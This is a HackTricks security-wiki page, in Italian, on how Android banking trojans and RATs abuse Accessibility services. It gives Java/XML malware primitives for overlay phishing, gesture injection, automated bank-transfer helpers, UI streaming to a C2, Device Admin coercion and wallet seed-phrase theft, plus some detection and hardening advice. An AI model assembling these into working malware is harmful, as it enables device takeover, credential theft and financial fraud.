Abuso dei servizi di Accessibilità Android
Reading time: 9 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Panoramica
AccessibilityService
è stato creato per aiutare gli utenti con disabilità a interagire con i dispositivi Android. Purtroppo le stesse API di automazione potenti (navigazione globale, input di testo, dispatch di gesture, finestre overlay…) possono essere sfruttate da malware per ottenere controllo remoto completo sul dispositivo senza privilegi di root.
I moderni banking Trojans per Android e i Remote-Access-Trojans (RATs) come PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda e molti altri seguono la stessa ricetta:
- Convincere tramite social engineering la vittima ad abilitare un servizio di accessibilità maligno (il permesso BIND_ACCESSIBILITY_SERVICE è considerato "high-risk" e richiede un'azione esplicita dell'utente).
- Sfruttare il servizio per
- catturare ogni evento UI e il testo che appare sullo schermo,
- iniettare gesture sintetiche (
dispatchGesture
) e azioni globali (performGlobalAction
) per automatizzare qualsiasi operazione desiderata dall'operatore, - disegnare overlay a schermo intero sopra app legittime usando il tipo di finestra TYPE_ACCESSIBILITY_OVERLAY (nessun prompt
SYSTEM_ALERT_WINDOW
!), - concedere silenziosamente permessi runtime aggiuntivi cliccando sulle finestre di dialogo di sistema per conto della vittima.
- Esfiltrare dati o eseguire On-Device-Fraud (ODF) in tempo reale mentre l'utente osserva uno schermo perfettamente normale.
Richiedere il permesso
<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>
L'XML associato definisce come apparirà la finestra di dialogo falsa:
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>
Primitive di automazione remota dell'interfaccia utente
public class EvilService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// harvest text or detect foreground app change
}
// Simulate HOME / BACK / RECENTS …
private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); }
private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); }
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }
// Generic tap / swipe
public void tap(float x, float y) {
Path p = new Path(); p.moveTo(x, y);
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
}
}
Con sole queste due API un attaccante può:
- Sbloccare lo schermo, aprire l'app bancaria, navigare l'albero dell'interfaccia utente e inviare un modulo di trasferimento.
- Accettare ogni dialogo di permesso che compare.
- Installare/aggiornare APK aggiuntivi tramite l'intent del Play Store.
Modelli di abuso
1. Overlay Phishing (Credential Harvesting)
Un WebView
trasparente o opaco viene aggiunto al window manager:
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY, // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);
La vittima digita le credenziali nel form fasullo mentre l'app in background riceve gli stessi gesti – non viene mai mostrato il sospetto prompt "draw over other apps".
Detailed example: the Accessibility Overlay Phishing section inside the Tapjacking page.
2. On-Device Fraud automation
Famiglie di malware come PlayPraetor mantengono un canale WebSocket persistente dove l'operatore può inviare comandi di alto livello (init
, update
, alert_arr
, report_list
, …). Il servizio traduce quei comandi nei gesti a basso livello descritti sopra, realizzando transazioni non autorizzate in tempo reale che bypassano facilmente la multi-factor-authentication legata a quel dispositivo.
3. Screen streaming & monitoring
Combinando la MediaProjection API con una libreria client RTMP, il RAT può trasmettere il framebuffer live a rtmp://<c2>:1935/live/<device_id>
, fornendo all'avversario perfetta consapevolezza situazionale mentre il motore Accessibility controlla l'UI.
PlayPraetor – command & control workflow
- HTTP(S) heartbeat – iterare su una lista hard-coded finché un dominio risponde
POST /app/searchPackageName
con il C2 attivo. - WebSocket (port 8282) – comandi JSON bidirezionali:
update
– push di nuove conf/APKalert_arr
– configurare template di overlayreport_list
– inviare lista di package name targetheartbeat_web
– keep-alive
- RTMP (port 1935) – streaming live dello schermo/video.
- REST exfiltration –
/app/saveDevice
(fingerprint)/app/saveContacts
|/app/saveSms
|/app/uploadImageBase64
/app/saveCardPwd
(bank creds)
The AccessibilityService è il motore locale che trasforma quei comandi cloud in interazioni fisiche.
Detecting malicious accessibility services
adb shell settings get secure enabled_accessibility_services
- Settings → Accessibility → Downloaded services – cercare app che non provengono da Google Play.
- Le soluzioni MDM / EMM possono imporre
ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY
(Android 13+) per bloccare i servizi sideloaded. - Analizzare i servizi in esecuzione:
adb shell dumpsys accessibility | grep "Accessibility Service"
Hardening recommendations for app developers
- Markare le view sensibili con
android:accessibilityDataSensitive="accessibilityDataPrivateYes"
(API 34+). - Combinare
setFilterTouchesWhenObscured(true)
conFLAG_SECURE
per prevenire tap/overlay hijacking. - Rilevare overlay interrogando
WindowManager.getDefaultDisplay().getFlags()
o usando l'APIViewRootImpl
. - Rifiutare di operare quando
Settings.canDrawOverlays()
o un Accessibility service non trusted è attivo.
ATS automation cheat-sheet (Accessibility-driven)
Malware può automatizzare completamente un'app bancaria usando solo le Accessibility APIs. Primitive generiche:
// Helpers inside your AccessibilityService
private List<AccessibilityNodeInfo> byText(String t){
AccessibilityNodeInfo r = getRootInActiveWindow();
return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
}
private boolean clickText(String t){
for (AccessibilityNodeInfo n: byText(t)){
if (n.isClickable()) return n.performAction(ACTION_CLICK);
AccessibilityNodeInfo p = n.getParent();
if (p != null) return p.performAction(ACTION_CLICK);
}
return false;
}
private void inputText(AccessibilityNodeInfo field, String text){
Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
field.performAction(ACTION_SET_TEXT, b);
}
private void tap(float x, float y){
Path p = new Path(); p.moveTo(x,y);
dispatchGesture(new GestureDescription.Builder()
.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
}
Example flow (Czech → English labels):
- "Nová platba" (Nuovo pagamento) → clic
- "Zadat platbu" (Inserisci pagamento) → clic
- "Nový příjemce" (Nuovo destinatario) → clic
- "Domácí číslo účtu" (Numero di conto domestico) → metti a fuoco e
ACTION_SET_TEXT
- "Další" (Avanti) → clic → … "Zaplatit" (Paga) → clic → inserire PIN
Fallback: coordinate codificate con dispatchGesture
quando la ricerca testuale fallisce a causa di widget personalizzati.
Also seen: passaggi preliminari per check_limit
e limit
navigando nell'UI dei limiti e aumentando i limiti giornalieri prima del trasferimento.
Pseudo-streaming dello schermo basato su testo
Per il controllo remoto a bassa latenza, invece di uno streaming video completo, esporta una rappresentazione testuale dell'albero UI corrente e inviala ripetutamente al C2.
private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
if (n==null) return;
Rect b = new Rect(); n.getBoundsInScreen(b);
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
sb.append(indent).append("[").append(cls).append("] ")
.append(txt==null?"":txt).append(" ")
.append(b.toShortString()).append("\n");
for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+" ", sb);
}
Questa è la base per comandi come txt_screen
(una tantum) e screen_live
(continuo).
Primitive di coercizione Device Admin
Una volta che un Device Admin receiver è attivato, queste chiamate aumentano le opportunità di catturare credenziali e mantenere il controllo:
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
ComponentName admin = new ComponentName(this, AdminReceiver.class);
// 1) Immediate lock
dpm.lockNow();
// 2) Force credential change (expire current PIN/password)
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android
// 3) Disable biometric unlock to force PIN/pattern entry
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
dpm.setKeyguardDisabledFeatures(admin, flags);
Nota: la disponibilità esatta di queste policy varia a seconda della versione Android e dell'OEM; verificare il device policy role (admin vs owner) durante i test.
Pattern di estrazione delle seed-phrase dei wallet Crypto
Flussi osservati per MetaMask, Trust Wallet, Blockchain.com and Phantom:
- Sbloccare con PIN rubato (catturato via overlay/Accessibility) o con la password del wallet fornita.
- Navigare: Settings → Security/Recovery → Reveal/Show recovery phrase.
- Raccogliere la frase tramite keylogging dei text nodes, secure-screen bypass, o screenshot OCR quando il testo è oscurato.
- Supportare più locali (EN/RU/CZ/SK) per stabilizzare i selector – preferire
viewIdResourceName
quando disponibile, altrimenti fallback al matching multilingue del testo.
Orchestrazione NFC-relay
I moduli Accessibility/RAT possono installare e lanciare un'app NFC-relay dedicata (es. NFSkate) come terza fase e persino iniettare una guida overlay per accompagnare la vittima attraverso i passaggi del relay card-present.
Contesto e TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay
Riferimenti
- PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT
- Android accessibility documentation – Automating UI interaction
- The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)
- GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.